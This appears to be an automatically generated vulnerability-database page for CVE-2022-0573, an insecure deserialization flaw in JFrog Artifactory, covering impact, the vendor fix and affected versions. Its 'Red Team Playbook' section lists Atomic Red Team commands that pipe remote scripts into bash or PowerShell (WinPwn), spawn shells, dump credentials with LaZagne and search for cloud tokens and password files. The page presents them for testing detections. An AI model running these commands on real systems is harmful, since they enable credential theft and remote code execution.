CVE-2022-0573
Overview
This vulnerability is an insecure deserialization flaw in JFrog Artifactory's handling of user-provided serialized objects. The root cause lies in insufficient validation and sanitization of serialized data submitted by authenticated users, allowing untrusted data to be processed. The affected component is the deserialization mechanism within Artifactory versions prior to 7.36.1 and 6.23.41, which fails to enforce strict type or integrity checks on serialized input.
Vulnerability Description
JFrog Artifactory before 7.36.1 and 6.23.41, is vulnerable to Insecure Deserialization of untrusted data which can lead to DoS, Privilege Escalation and Remote Code Execution when a specially crafted request is sent by a low privileged authenticated user due to insufficient validation of a user-provided serialized object.
Impact
An attacker with low privilege authenticated access can exploit this flaw to execute arbitrary code remotely, escalate privileges within the Artifactory environment, or cause denial of service by triggering resource exhaustion. The vulnerability requires network access and valid user authentication (PR:L) but no user interaction. Successful exploitation can lead to full compromise of the affected system, impacting confidentiality, integrity, and availability as indicated by the CVSS vector (C:H/I:H/A:H).
Solution
JFrog recommends upgrading Artifactory to versions 7.36.1 or later and 6.23.41 or later as detailed in their security advisories available at https://www.jfrog.com/confluence/display/JFROG/JFrog+Security+Advisories. These updates include patches that enforce strict validation of serialized objects to prevent insecure deserialization. Administrators should apply these updates promptly and follow vendor instructions for secure deployment.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in JFrog Artifactory is characterized by insecure deserialization of untrusted data, which poses significant risks to the integrity and security of the application. This flaw arises from inadequate validation of user-provided serialized objects, allowing attackers to craft malicious requests that can manipulate the deserialization process. When a low-privileged authenticated user sends a specially crafted request, the application may inadvertently execute arbitrary code or perform unintended operations. The lack of stringent checks on serialized data can lead to various severe outcomes, including denial of service (DoS), privilege escalation, and remote code execution.
Exploitation of this vulnerability can occur through multiple attack vectors. An attacker with low-level privileges can leverage the flaw by sending a specially crafted payload that the application fails to validate properly. This payload can contain malicious code or instructions that, when deserialized, execute within the context of the application. For instance, an attacker could escalate their privileges to gain administrative access or disrupt service availability by triggering resource exhaustion. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly concerning for organizations relying on JFrog Artifactory for their software development and distribution processes.
The real-world impact of this vulnerability can be profound, especially for businesses that depend on JFrog Artifactory for managing their software artifacts. Successful exploitation could lead to unauthorized access to sensitive data, disruption of critical services, and potential compromise of the entire software supply chain. The ramifications extend beyond immediate operational disruptions; they can also result in reputational damage, loss of customer trust, and financial penalties from regulatory bodies. Organizations may face increased scrutiny and potential legal ramifications if sensitive data is exposed or if they fail to protect their systems adequately.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, regular updates and patches should be applied to JFrog Artifactory to ensure that any known vulnerabilities are addressed promptly. Additionally, security monitoring solutions can be deployed to detect unusual patterns of behavior or unauthorized access attempts that may indicate exploitation attempts. Implementing strict input validation and sanitization measures can also help mitigate the risk of insecure deserialization. Organizations should consider adopting a principle of least privilege, ensuring that users have only the necessary permissions to perform their tasks, thereby limiting the potential impact of an exploit.
In conclusion, the insecure deserialization vulnerability in JFrog Artifactory represents a critical risk that organizations must address proactively. By understanding the technical details, potential attack vectors, and real-world implications, businesses can take informed steps to protect their systems. Through diligent monitoring, timely updates, and robust security practices, organizations can significantly reduce their exposure to this and similar vulnerabilities, safeguarding their software development processes and maintaining the integrity of their operations.
Affected Products (13)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | All |
cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
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Jfrog | Artifactory | 7.35.0 |
cpe:2.3:a:jfrog:artifactory:7.35.0:*:*:*:*:-:*:*
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Jfrog | Artifactory | 7.36.0 |
cpe:2.3:a:jfrog:artifactory:7.36.0:*:*:*:*:-:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
55%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-0573 |
| jfrog.com |
GitHub CVE
x_refsource_MISC
|
https://www.jfrog.com/confluence/display/JFROG/JFrog+Security+Advisories |
| jfrog.com |
GitHub CVE
x_refsource_MISC
|
https://www.jfrog.com/confluence/display/JFROG/CVE-2022-0573%3A+Artifactory+Vulnerable+to+Deserialization+of+Untrusted+Data |